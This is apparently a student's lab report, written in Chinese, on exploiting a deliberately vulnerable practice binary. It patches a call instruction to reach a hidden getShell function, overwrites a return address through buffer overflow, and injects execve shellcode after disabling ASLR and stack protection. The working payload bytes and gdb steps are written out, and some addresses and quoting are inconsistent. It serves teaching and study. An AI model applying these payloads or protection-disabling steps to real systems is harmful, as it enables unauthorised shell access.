一、实验内容
本次实验的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们本次实验将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellc。本次实验内容分为以下3个:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
二、实验过程
1 直接修改程序机器指令,改变程序执行流程
·知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
·学习目标:理解可执行文件与机器指令
·进阶:掌握ELF文件格式,掌握动态技术
下载目标文件pwn1,将文件名改成和自己 学号相关的名字,然后objdump -d pwn20222317 | more
进行反汇编。
一直按回车就会逐行显示更多信息,直到找到main的内容
第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
观察main函数,发现call跳转到了foo函数,该指令对应的机器指令为“e8 d7ffffff”,e8的意思是跳转
- 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,也就是foo函数的地址
那我们想让它调用getShell,只要修改“d7ffffff”为 "getShell-80484ba"对应的补码就行,其中getShell函数的首地址为0804847d。0804847d-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff,即需要将0xd7ffffff修改为0xc3ffffff。
于是我们修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff:
- vi进入pwn20222317,发现是乱码界面
- 按esc键,输入
:%!xxd
进入十六进制编辑模式,使用/e8 d7
快速找到需要修改的地址
- 修改地址,将d7改成c3,然后使用
:%!xxd -r
转回原来乱码格式,并使用:wq
命令保存退出;
再对pwn20222317反汇编objdump -d pwn20222317 | more
检查是否修改正确;
可以看到main函数中第4行从‘e8 d7’改成了‘e8 c3’
运行更改后的文件./pwn20222317
,会得到shell提示符
如上图所示,我们已经完成了对对应文件的修改。原来的可执行文件的功能是输入一段字符串,程序会重复输出该字符串,现在我们的程序变成了打开一个“命令行”。我们执行了ls命令后,成功打印出了当前目录下的所有文件
2 通过构造输入参数,造成BOF攻击,改变程序执行流
首先安装gdb,使用sudo apt update
和sudo apt install gdb
命令安装gdb。
安装完成后对pwn20222317_1进行gdb调试,输入1111111122222222333333334444444455555555
时可以看到eip的值0x35353535
,也就是5555的ASCII码。
输入命令 info r
查看寄存器eip的值,确认输入字符串哪几个字符会覆盖到返回地址。
输入字符串1111111122222222333333334444444412345678
,输入命令 info r
查看寄存器eip的值,发现输入的1234(十六进制0x34333231
)为被覆盖到堆栈上的返回地址。那只要把这四个字符替换为 getShell 的内存地址,输给pwn20222317_1,就会运行getShell。
把1234换成getShell的地址0x0804847d,我们需要输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20222317
生成一个包含这些16进制内容的文件(\x0a表示回车);
使用16进制查看指令xxd input20222317
查看input文件的内容,
确认无误后使用(cat input20222317;cat) | ./pwn20222317_1
将input中的字符串作为可执行文件的输入。
成功获取shell,即成功调用了getShell函数。
3 注入Shellcode并执行
(1)首先需要在学习通平台下载资源,解压后将文件夹传输到虚拟机中;然后,依次输入以下命令
①sudo apt-get install libelf-dev
②./configure
③make
④sudo make install
,完成execstack的安装
然后,通过以下命令修改设置
1.execstack -s pwn20222222cp1
设置堆栈可执行
2.execstack -q pwn20222222cp1
查询文件的堆栈是否可执行
3.more /proc/sys/kernel/randomize_va_space
查看地址随机化的状态
4.echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
5.more /proc/sys/kernel/randomize_va_space
(2)构造要使用的payload。Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:
Perl -e print'"\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入命令(cat input_shellcode; cat) | ./pwn202222317_3
将input_shellcode的输入内容作为pwn20222317_3的输入
新打开一个新终端,输入ps -ef | grep pwn20222317_3,查看pwn20222317_3文件的进程以及进程号。
可以看到,进程号分别为77989和78347,但是14572才是pwn文件的进程号。
此后,再在这个新终端中使用gdb对pwn20222317_3进行调试,来获取foo函数中returnaddress的位置。
输入命令attach 77989
,输入刚刚查找的进程号
输入命令disassemble foo
,反编译foo函数并进行分析
可以看到,ret的地址为0x080484ae
,因此,在这里设置断点,继续分析
输入命令break *0x080484ae
在新终端输入c
,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行。
输入info r esp
查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcfac
;
使用x/16x 0xffffcfac
命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201
,这说明找的就是这个地址。
因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcfac+4=0xffffcfb0
。
现在可以进行shellcode的注入,最终获取shell。将0x04030201
换成上述我们计算出来的位置0xffffcfe0
,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入
perl -e 'print "A" x 32;print' "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
使用16进制查看指令xxd input_shellcode
查看input_shellcode文件的内容,确认输入无误
然后再输入(cat input_shellcode; cat) | ./pwn20222317_3
,将input_shellcode的输入内容作为pwn20222317_3的输入。
成功获取shell,即成功调用了getShell函数。
(3)结合nc模拟远程攻击
在Vmware上克隆一个kali,将两台虚拟机的网路连接方式设置为桥接网卡模式。
输入命令ifconfig
查看两台虚拟机的IP地址
-
主机1 模拟一个有漏洞的网络服务
-l
表示listen,-p
后加端口号-e
后加可执行文件,网络上接收的数据将作为这个程序的输入。
-
主机2 连接主机1并发送攻击载荷
问题及解决方案
问题1:在直接修改程序机器指令时,一直无法找到e8 d7
的位置
解决方案:因为在之前查询位置时一直使用的/e8d7
,没有在中间加上空格,加上后就能查找到准确的位置了
问题2:在安装gdb进行调试时,sudo apt update
和sudo apt install gdb
一直无法安装gdb,显示找不到文件
解决方案:在询问其他已经完成的同学后,他指导我将virtual box的所有网络连接都禁用后,Vmware就能成功连上网络更新安装gdb了
问题3:复制到kali的pwn文件一直显示没有权限修改或者编写
解决方案:不能直接在自己的电脑复制,再到kali里面粘贴,这可能会导致文件的权限出现问题;用共享文件夹将pwn文件下载到kali里就成功的解决问题了
问题4:进行结合nc模拟远程攻击时,其他同学的虚拟机攻击我的靶机总是显示无法找到文件或者目录,或者是显示连接拒绝
解决方案:显示无法找到文件是因为攻击的同学输入的input文件名称是我的虚拟机上的文件名称,而不是他的;我自己在本身的电脑上克隆了一个kali后,结合nc模拟远程攻击完成的很顺利
学习感悟、思考
通过这次实验一,我对缓冲区溢出有了一个更深的了解,并且通过对实验指导书的实践,了解实现了三种获取shell的方法。同时,我学会了如何在Vmware上安装kali Linux,对Linux系统的语法、操作有了更进一步的了解和熟悉;还会用反汇编和十六进制编程器来阅读一些基本的函数文件,能理解指令地址之间跳转和用途;此外,经过同学的帮助以及网上查询资料,我学会了gdb调试,以及构造payload进行BOF攻击。在构造payload进行BOF攻击时,gdb调试发挥了无法取代的关键作用,帮助我能准确定位返回的地址并实现漏洞的利用。但是在编写博客时,发现所有操作文件都需要更改为带有自己学号的名称,这导致我需要重新做一遍所有的实验,以后再进行相关实验时前一定要看清楚要求再进行操作。
总的来说,这次实验经过我不断地上网查询以及咨询同学,还是顺利的完成了;这更加让我明白我需要学习的东西还有很多,需要时刻保持一颗学徒的心。整个实践过程也极大地锻炼了我的动手实践能力以及独立思考解决问题的能力,因为有些问题可能之前没有同学遇到过,这只能靠我自己去网上搜索解决。我相信在后面的学习过程中,我能够学到更多东西,收获更多;不断地提升自己的专业素养。